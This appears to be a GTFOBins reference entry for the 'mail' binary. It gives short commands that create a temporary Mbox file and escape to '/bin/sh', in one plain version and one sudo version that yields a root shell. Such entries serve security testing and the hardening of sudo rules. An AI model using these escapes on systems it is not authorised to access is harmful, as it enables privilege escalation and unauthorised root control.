GTFOBins.github.io/_gtfobins/mail.md
2018-10-05 18:55:38 +01:00

461 B

functions
shell sudo
description code
This creates a valid Mbox file which may be required by the binary. TF=$(mktemp) echo "From nobody@localhost $(date)" > $TF mail -f $TF !/bin/sh
description code
This creates a valid Mbox file which may be required by the binary. TF=$(mktemp) echo "From nobody@localhost $(date)" > $TF sudo mail -f $TF !/bin/sh